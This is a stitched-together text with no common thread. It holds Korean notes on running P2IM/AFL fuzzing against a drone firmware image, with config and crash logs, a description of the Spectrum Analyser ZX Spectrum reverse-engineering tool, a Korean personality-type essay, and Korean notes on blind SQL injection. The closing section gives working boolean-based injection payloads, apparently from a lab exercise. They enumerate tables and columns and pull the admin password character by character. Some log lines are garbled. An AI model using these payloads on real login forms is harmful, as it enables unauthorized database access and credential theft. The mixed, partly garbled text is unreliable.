WORKING_DIR=~/tmp/p2im/fuzzing/Drone/5/
mkdir -p ${WORKING_DIR}
cd ${WORKING_DIR}
cp -r ~/tmp/p2im/fuzzing/templates/seeds/ ${WORKING_DIR}/inputs
config 수정
# P2IM - fuzzing configuration template
# ------------------------------------------------------
# Copyright (C) 2018-2020 RiS3 Lab
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at:
# <http://www.apache.org/licenses/LICENSE-2.0>
# Please change configurations that are enclosed in "< >".
# Please use absolute path in this file.
[DEFAULT] # used only by fuzz.py
# is the path of root directory of P2IM git repo
base = /home/babyhack/tmp/p2im ## 수정해야함. fuzzer 프로그램 경로
# can be arbitrary string you want. It doesn't need to be the firmware binary name
program = Drone ### 타켓 프로그램명 및 디렉토리 이름
# Each firmware may be fuzzed multiple times. So it's better to number each fuzzer run
run = 5
# working directory of fuzzing
working_dir = %(base)s/fuzzing/%(program)s/%(run)s
[afl] # used only by fuzz.py
bin = %(base)s/afl/afl-fuzz
timeout = 150+
input = %(working_dir)s/inputs
output = %(working_dir)s/outputs
[cov] # used only by cov.py
#count_hang = False
count_hang = True
bbl_cov_read_sz = 20000000
# 1 second
timeout = 1
[qemu]
bin = %(base)s/qemu/precompiled_bin/qemu-system-gnuarmeclipse
log = unimp,guest_errors,int
#log = unimp,guest_errors,exec,int -D qemu.log
[program]
# the board/mcu supported by QEMU is listed as comments below
#board =
#mcu =
#board = STM32F429I-Discovery
#mcu = STM32F429ZI
board = NUCLEO-F103RB # 타켓 board와 mcu 선택 (주석 제거)
mcu = STM32F103RB #
#board = Arduino-Due
#mcu = SAM3X8E
#board = FRDM-K64F
#mcu = MK64FN1M0VLL12
# has to be name of firmware elf file
img = %(working_dir)s/Drone # 이미지 경로 대소문자 구분하니 조심
[model]
retry_num = 3
peri_addr_range = 512
# arm-none-eabi-objdump is part of GNU Arm Embedded Toolchain you downloaded while setting up P2IM environment.
# For example, on my machine is /home/bo/gcc-arm-none-eabi-6-2017-q2-update/bin/arm-none-eabi-objdump
### objdump 경로 풀 경로 입력 해야함.
objdump = /home/babyhack/tmp/gcc-arm-none-eabi-10.3-2021.10/bin/arm-none-eabi-objdump
# config below are only used by fuzz.py
bin = %(base)s/model_instantiation/me.py
log_file = %(working_dir)s/me.log
fuzzing 환경 설정 폴더
babyhack@ubuntu:~/tmp/p2im/fuzzing/Drone/5$ cp /home/babyhack/tmp/p2im/externals/p2im-real_firmware/Drone ./
babyhack@ubuntu:~/tmp/p2im/fuzzing/Drone/5$ ls
Drone fuzz.cfg inputs
Fuzzer 실행
#python3 ~/tmp/p2im/model_instantiation/fuzz.py -c fuzz.cfg
babyhack@ubuntu:~/tmp/p2im/fuzzing/Drone/5$ python3 ~/tmp/p2im/model_instantiation/fuzz.py -c fuzz.cfg
Change working dir to: /home/babyhack/tmp/p2im/fuzzing/Drone/5
CWD: /home/babyhack/tmp/p2im/fuzzing/Drone/5
try our best to extract model w/o input
cmd_me0: /home/babyhack/tmp/p2im/model_instantiation/me.py -c /home/babyhack/tmp/p2im/fuzzing/Drone/5/fuzz.cfg --run-num 0 --print-to-file
Change working dir to: 0/
CWD: /home/babyhack/tmp/p2im/fuzzing/Drone/5/0
Redirect stdout to file named stdout
테스트 환경
0.random.8
run f/w w/ seed input to check if there is aup
cmd_qemu: /home/babyhack/tmp/p2im/qemu/precompiled_bin/qemu-system-gnuarmeclipse -nographic -aflFile /home/bats/random -board NUCLEO-F103RB -mcu STM32F103RB -image /home/babyhack/tmp/p2im/fuzzing/Drone/5/Drone -pm-stagp2im/fuzzing/Drone/5/0.random.7/peripheral_model.json -me-bin /home/babyhack/tmp/p2im/model_instantiation/me.m/fuzzing/Drone/5/fuzz.cfg
There is aup, run ME
cmd_me: /home/babyhack/tmp/p2im/model_instantiation/me.py -c /home/babyhack/tmp/p2im/fuzzing/Drone/5/fuzz.cfge --run-from-forkserver --afl-file /home/babyhack/tmp/p2im/fuzzing/Drone/5/inputs/random --model-if /home/babdom.7/peripheral_model.json
Change working dir to: 0.random.8/
CWD: /home/babyhack/tmp/p2im/fuzzing/Drone/5/0.random.8
Redirect stdout to file named stdout
Traceback (most recent call last):
File "/home/babyhack/tmp/p2im/model_instantiation/me.py", line 1166, in <module>
srr_info = stage1_5()
File "/home/babyhack/tmp/p2im/model_instantiation/me.py", line 490, in stage1_5
objdump = subprocess.check_output([cfg.objdump, "-dC", cfg.img])
File "/usr/lib/python3.5/subprocess.py", line 626, in check_output
**kwargs).stdout
File "/usr/lib/python3.5/subprocess.py", line 693, in run
with Popen(*popenargs, **kwargs) as process:
File "/usr/lib/python3.5/subprocess.py", line 947, in __init__
restore_signals, start_new_session)
File "/usr/lib/python3.5/subprocess.py", line 1551, in _execute_child
raise child_exception_type(errno_num, err_msg)
OSError: [Errno 8] Exec format error
0.random.9
run f/w w/ seed input to check if there is aup
cmd_qemu: /home/babyhack/tmp/p2im/qemu/precompiled_bin/qemu-system-gnuarmeclipse -nographic -aflFile /home/bats/random -board NUCLEO-F103RB -mcu STM32F103RB -image /home/babyhack/tmp/p2im/fuzzing/Drone/5/Drone -pm-stagp2im/fuzzing/Drone/5/0.random.8/peripheral_model.json -me-bin /home/babyhack/tmp/p2im/model_instantiation/me.m/fuzzing/Drone/5/fuzz.cfg
.............................
babyhack@ubuntu:~/tmp/p2im/fuzzing/Drone/5$ /home/babyhack/tmp/p2im/qemu/precompiled_bin/qemu-system-gnuarme
(process:17789): GLib-WARNING **: /Host/Work/qemu/glib-2.51.0/glib/gmem.c:483: custom memory allocation vtabl
[0, 0] 1-th(total 1-th) unassigned mem_r *0x0
[0, 0] 2-th(total 2-th) unassigned mem_r *0x4
QEMU 2.3.50 monitor - type 'help' for more information
(qemu) QEMU 2.3.50 monitor - type 'help' for more information
(qemu) [8004f10, 8004f4e] 1-th(total 3-th) pm_r *0x40021000 gets 0x0, remains CR+SR
[8004f10, 8004f4e] 1-th(total 1-th) pm_w *0x40021000 = 0x1, remains CR+SR
[8004f10, 8004f4e] 2-th(total 4-th) pm_r *0x40021004 gets 0x0, remains CR
[8004f10, 8004f4e] 2-th(total 2-th) pm_w *0x40021004 = 0x0, remains CR
[8004f10, 8004f4e] 3-th(total 5-th) pm_r *0x40021000 gets 0x1, remains CR+SR
[8004f10, 8004f4e] 3-th(total 3-th) pm_w *0x40021000 = 0x1, remains CR+SR
[8004f10, 8004f4e] 4-th(total 6-th) pm_r *0x40021000 gets 0x1, remains CR+SR
[8004f10, 8004f4e] 4-th(total 4-th) pm_w *0x40021000 = 0x1, remains CR+SR
[8004f10, 8004f4e] 5-th(total 7-th) pm_r *0x40021004 gets 0x0, remains CR
[8004f10, 8004f4e] 5-th(total 5-th) pm_w *0x40021004 = 0x0, remains CR
[8004f10, 8004f4e] 6-th(total 6-th) pm_w *0x40021008 = 0x9f0000, remains DR
start up afl forkserver!
[8001128, 800113a] 6-th(total 8-th) pm_r *0x40022000 gets 0x0, remains CR
[8001128, 800113a] 7-th(total 7-th) pm_w *0x40022000 = 0x10, remains CR
[8004ccc, 8004ce8] 7-th(total 9-th) pm_r *0x40021018 gets 0x0, remains CR
[8004ccc, 8004ce8] 8-th(total 8-th) pm_w *0x40021018 = 0x1, remains CR
[8004ccc, 8004ce8] 8-th(total 10-th) pm_r *0x40021018 gets 0x1, remains CR
[8001cba, 8001cc4] 9-th(total 11-th) pm_r *0x40021004 gets 0x0, remains CR
[8001cd4, 8001cf0] 10-th(total 12-th) pm_r *0x40021000 gets 0x1, remains CR+SR
[8001cf6, 8001d10] 11-th(total 13-th) pm_r *0x40021000 gets 0x1, remains CR+SR
[8001cf6, 8001d10] 9-th(total 9-th) pm_w *0x40021000 = 0x81, remains CR+SR
...........................
환경이 맞으면, AFL Fuzzing 시작
babyhack@ubuntu:~/tmp/p2im/fuzzing/Drone/5$ ls
0 0.random.1 0.random.2 0.random.3 Drone fuzz.cfg inputs me.log outputs run_fw.py
babyhack@ubuntu:~/tmp/p2im/fuzzing/Drone/5$ cd outputs/
babyhack@ubuntu:~/tmp/p2im/fuzzing/Drone/5/outputs$ ls
crashes fuzz_bitmap fuzzer_stats hangs plot_data queue
babyhack@ubuntu:~/tmp/p2im/fuzzing/Drone/5/outputs$ ls -sla
total 2116
4 drwx------ 5 babyhack babyhack 4096 Jan 24 06:58 .
4 drwxrwxr-x 8 babyhack babyhack 4096 Jan 24 06:51 ..
4 drwx------ 2 babyhack babyhack 4096 Jan 24 06:52 crashes
4 -rw------- 1 babyhack babyhack 164 Jan 24 06:58 .cur_input
2048 -rw------- 1 babyhack babyhack 2097152 Jan 24 06:57 fuzz_bitmap
4 -rw------- 1 babyhack babyhack 1093 Jan 24 06:57 fuzzer_stats
4 drwx------ 2 babyhack babyhack 4096 Jan 24 06:54 hangs
8 -rw------- 1 babyhack babyhack 4454 Jan 24 06:58 plot_data
36 drwx------ 3 babyhack babyhack 36864 Jan 24 06:58 queue
babyhack@ubuntu:~/tmp/p2im/fuzzing/Drone/5/outputs$ cd crashes/
babyhack@ubuntu:~/tmp/p2im/fuzzing/Drone/5/outputs/crashes$ ls
id:000000,ret_v:0x1,src:000000,op:havoc,rep:8 README.txt
babyhack@ubuntu:~/tmp/p2im/fuzzing/Drone/5/outputs/crashes$ ls -sla
total 16
4 drwx------ 2 babyhack babyhack 4096 Jan 24 06:52 .
4 drwx------ 5 babyhack babyhack 4096 Jan 24 06:58 ..
4 -rw------- 1 babyhack babyhack 148 Jan 24 06:52 id:000000,ret_v:0x1,src:000000,op:havoc,rep:8
4 -rw------- 1 babyhack babyhack 1106 Jan 24 06:52 README.txt
babyhack@ubuntu:~/tmp/p2im/fuzzing/Drone/5/outputs/crashes$ cat README.txt
Command line used to find this crash:
/home/babyhack/tmp/p2im/afl/afl-fuzz -i /home/babyhack/tmp/p2im/fuzzing/Drone/5/inputs -o /home/babyhack/tmp/p2im/fuzzing/Drone/5/outputs -t 150+ -QQ -a /home/babyhack/tmp/p2im/model_instantiation/me.py -b /home/babyhack/tmp/p2im/fuzzing/Drone/5/fuzz.cfg -c /home/babyhack/tmp/p2im/fuzzing/Drone/5/0.random.3/peripheral_model.json -T Drone_5 -d /home/babyhack/tmp/p2im/qemu/precompiled_bin/qemu-system-gnuarmeclipse -nographic -board NUCLEO-F103RB -mcu STM32F103RB -image /home/babyhack/tmp/p2im/fuzzing/Drone/5/Drone -pm-stage 3 -aflFile @@
If you can't reproduce a bug outside of afl-fuzz, be sure to set the same
memory limit. The limit used for this fuzzing session was 2.00 GB.
Need a tool to minimize test cases before investigating the crashes or sending
them to a vendor? Check out the afl-tmin that comes with the fuzzer!
Found any cool bugs in open-source tools using afl-fuzz? If yes, please drop
me a mail at <lcamtuf@coredump.cx> once the issues are fixed - I'd love to
add your finds to the gallery at:
<http://lcamtuf.coredump.cx/afl/>
Thanks :-)
babyhack@ubuntu:~/tmp/p2im/fuzzing/Drone/5/outputs/crashes$
</lcamtuf@coredump.cx>
Spectrum Analyser is a tool that is designed to help reverse engineer ZX Spectrum games & programs.It is a combination of an emulator, debugger & interactive disassembler. Programs are loaded and run in the emulator and their state can be inspected using the tools provided.
• Format memory as Byte, Word, Char Map, Bitmap etc.
• Breakpoints: break on code execution, memory access, NMI, IRQ, IN & OUT
• Fully annotated Sinclair ROM
• Self modifying code support
• Automatic code detection
• Automatic data detection
• Poke support
• Skoolkit import and export
• Character graphic memory search tool
• Z80 instruction informational tooltips
How does it work?
The traditional way to reverse engineer software is to manually determine which areas of the computer memory are code or data. A disassembler can then be used to produce an assembly listing of the code memory bytes. One way to achieve this is to observe the code running through a debugger.
This can be slow work – although some excellent tools exist to help with this process, such as IDA Pro or Ghidra. This process can be partially automated by using an execution trace file. This can help confirm which areas of memory are code if we know they have been executed.
Spectrum Analyser aims to automate as much of the manual process as possible. It has an emulator built in, which means it can automatically detect which memory locations are code when those locations are executed. The more you play the game, the more code it will uncover. However, Spectrum Analyser is very much interactive. You are free to manually mark up areas of memory as code if you prefer – without needing to execute the code in question. You do not need to tell Spectrum Analyser where the code ends – only where it begins. It will use static code analysis to work out where the code terminates.
Starting Off
When you open a game for the first time Spectrum Analyser will start from a blank slate. In this state, all memory locations will be formatted as byte data. This is the default state of memory that hasn’t been executed.
This is the same memory after the program has been executed. Spectrum Analyser has set the memory to code and added labels for functions in addition to branch destination labels.
These labels can then be renamed when you figure out what the code is actually doing. You can then add comments to the disassembly.
Screenshots
Here are some action shots of Spectrum Analyser. For best results you may need to download the images and view them full screen or open them in a seperate tab.
Acknowledgements
This program was built using the superb Chips emulator library by Andre Weissflog, the emulation in the analyser is done using this library: https://github.com/floooh/chips
For the UI, DearImGui is used (https://github.com/ocornut/imgui) which is without doubt one of the greatest pieces of open source software. Without it not only would the UI take much longer but working on it would also be exceedingly dull.
Spectrum Analyser contains a full disassembly of the Sinclair ROM. This was possible because of the skoolkit disassembly done by Richard Dymond. https://skoolkit.ca/disassemblies/rom/
Need help getting started using Spectrum Analyser, or just want to see how it works? Here is a tutorial. This doesn’t cover everything but it will get you started.
서로 용기를 북돋아 주고 치켜세우며 힘이 돼주세요. 한 사람이 받은 긍정의 에너지가 곧 모든 이에게 전달될 테니까요.
DEBORAH DAY
사교형 사람을 한마디로 정의 내리기는 어렵지만, 간단히 표현하자면 이들은 '인기쟁이'입니다. 인구의 대략 12%를 차지하는 꽤 보편적인 성격 유형으로, 이를 미루어 보면 왜 이 유형의 사람이 인기가 많은지 이해가 갑니다. 종종 고등학교에서 치어리더나 풋볼의 쿼터백으로 활동하기도 하는 이들은 분위기를 좌지우지하며 여러 사람의 스포트라이트를 받거나 학교에 승리와 명예를 불러오도록 팀을 이끄는 역할을 하기도 합니다. 이들은 또한 훗날 다양한 사교 모임이나 어울림을 통해 주위 사람들에게 끊임없는 관심과 애정을 보임으로써 다른 이들을 행복하고 즐겁게 해주고자 노력합니다.
천성적으로 사교적인 성향인 이들은 가까운 친구나 지인들의 일거수일투족을 모두 알기를 원합니다.
과학 이론이나 국제 정치와 같은 대화 주제는 사교형 사람의 관심을 오래 잡아두지 못합니다. 대신 이들은 패션이나 외모, 그리고 그들을 포함하여 다른 사람의 사회적 지위와 같은 대화 소재에 더 많은 관심을 보입니다. 실생활 이야기나 가십거리가 이들에게는 한 마디로 빵과 버터 같은 대화 소재입니다. 하지만 좋은 일을 하는 데에는 그들이 가진 힘과 지위를 이용해 발 벗고 나서기도 합니다.
지혜로운 리더를 위한 우러름
이타주의자인 사교형 사람은 다른 이들을 도우며 옳은 일을 하고자 하는 일에 진지한 태도로 임합니다. 다만 다른 성격 유형과 달리 사교형 사람은 도덕적 잣대를 철학이나 미신이 아닌 이미 수립된 법이나 사회 질서 체제 안에서 찾습니다. 사교형 사람은 사회는 다양한 배경과 관점을 가진 사람들의 집합체로 그들이 믿고 따르는 것만이 절대적인 진리가 아니라는 것을 명심할 필요가 있습니다.
사교형 사람은 그들 자신이 진심으로 존경받고 그들의 가치를 인정받고 있다고 생각이 드는 한은 지위를 막론하고 어떻게든 의미 있는 방식으로 다른 이에게 도움이 되고자 합니다. 이는 특히 가정 내에서 여실히 드러나는데, 이들은 집에서는 가정적인 배우자이자 헌신적인 부모이기도 합니다. 또한 계급 체계를 선호하는 경향이 있으며, 가정에서나 회사에서 그들의 주장을 펼 수 있는 동시에 안정된 생활 영위를 위해 어느 정도의 사회적 지위와 권력을 갖고자 합니다.
조화로운 인간관계
타인에 대한 지원을 아끼지 않는 활발한 성격인 이들은 어느 모임을 가든지 한두 명은 쉽게 만날 수 있습니다. 어떻게 해서든지 사람들과 만나 수다 떨며 웃는 시간을 만들고야 마는 이들이니까요! 그렇다고 이들을 단순히 웃고 지나쳐 버리는 가벼운 만남으로 치부해서는 안 됩니다. 이들이 아니면 누구도 대신하지 못하는 심오한 역할을 하기도 하는 이들이니까요. 사교형 사람은 친구나 지인의 인간관계나 일상생활과 관련한 이야기에 관심 있게 들으며 세세한 사항마저 기억하는 경향이 있습니다. 그리고는 도움이 필요한 적절한 순간에 진심 어린 따뜻한 마음으로 대화 상대가 되어줄 만발의 준비를 하고 있습니다. 만약 상황이 생각하는 안 좋게 돌아가거나 모임 내 긴장감이 조성되는 경우 이들은 이를 금세 알아차려 사람들 간에 화해와 안정을 찾기 위해 노력합니다.
충돌을 싫어하는 사교형 사람은 사회적 위계질서를 확립하는 데 많은 에너지를 소모하며, 사전에 계획되지 않은 즉흥적인 만남이나 모임을 계획하는 것을 좋아합니다. 이들은 그들이 주관하는 모임을 위해 많은 시간과 노력을 들이는데, 만일 이들의 제안이 거부당하거나 이들의 계획이 사람들의 관심이나 이목을 충분히 끌지 못하면 상처를 받기도 합니다. 앞서 얘기했듯, 사교형 사람은 각각의 사람이 모두 다른 배경과 성격을 가지고 있으며, 이는 단순히 그가 주최하는 모임이나 활동 혹은 그들에게 관심이 없어서가 아니라 다만 모임 자체에 특별히 흥미를 느끼지 못해서 임을 깨닫는 것이 중요합니다.
사교형 사람이 감내하기 힘들어하는 것 중 하나가 자신의 예민하고 쉽게 상처받는 성격과 타협점을 찾는 일입니다. 사람들이 그의 생각에 동의하지 않거나 되려 이들을 비판하는 경우가 생기면 어김없이 상처를 받는데, 이 역시도 인생의 한 부분입니다. 이를 해결할 수 있는 좋은 방법은 자신들이 가장 자신 있게 잘하는 일에 열중하는 것으로, 타인에게 좋은 역할 모델이 되어주거나 그들이 영향력을 행사할 수 있는 영역 안에서 권력을 행사하는 것입니다. 결과적으로 이러한 이들의 노고는 많은 사람에게 본보기가 되어 많은 이들로부터 존경과 감사를 받게 될 것입니다.
' or 1=1 and ascii(substr((select table_name from information_schema.tables where table_type='base table' limit 0,1),1,1)) > 110 #
- Response : Login Failed
:: 첫번째 문자열 확인
' or 1=1 and ascii(substr((select table_name from
information_schema.tables where table_type='base table' limit 0,1),1,1))
> 108 #
- Response : Success
:: 확실히 맞는지 확인
' or 1=1 and ascii(substr((select table_name from information_schema.tables where table_type='base table' limit 0,1),1,1)) = 109 #
- Response : Success
:: 두번째 문자열 확인
' or 1=1 and ascii(substr((select table_name from information_schema.tables where table_type='base table' limit 0,1),2,1)) = 109 #
- Response : Success
:: 마지막 문자열 확인
' or 1=1 and ascii(substr((select table_name from information_schema.tables where table_type='base table' limit 0,1),7,1)) = 0 #
2.3. Column명 추출
[[ column 추출 - information_schema.columns ]]
--> 테이블 명에서 찾은 "member"를 활용
:: ascii 테이블을 기반으로 숫자를 변경하여 범위를 줄임
' or 1=1 and ascii(substr((select column_name from information_schema.columns where table_name='member' limit 0,1),1,1)) > 110 # ' or 1=1 AND (select ascii(substring((select column_name from information_schema.columns where table_name='member' limit 0,1),1,1)) > 53)#
:: 첫번째 컬럼 ' or 1=1 AND (select ascii(substring((select column_name from information_schema.columns where table_name='member' limit 0,1),1,1)) = 110)# ' or 1=1 AND (select ascii(substring((select column_name from information_schema.columns where table_name='member' limit 0,1),2,1)) = 111)# no
:: 두번째 컬럼 ' or 1=1 AND (select ascii(substring((select column_name from information_schema.columns where table_name='member' limit 1,1),1,1)) = 105)# ' or 1=1 AND (select ascii(substring((select column_name from information_schema.columns where table_name='member' limit 1,1),2,1)) = 100)# id
2.4. value 찾기
[[ 저장된 값 찾기 ]]
' or 1=1 AND (select ascii(substring((select password from member where id='admin' limit 0,1),1,1)) > 100)# ' or 1=1 AND (select ascii(substring((select password from member where id='admin' limit 0,1),1,1)) = 115)#
' or 1=1 AND (select ascii(substring((select password from member where id='admin' limit 0,1),16,1)) =0)#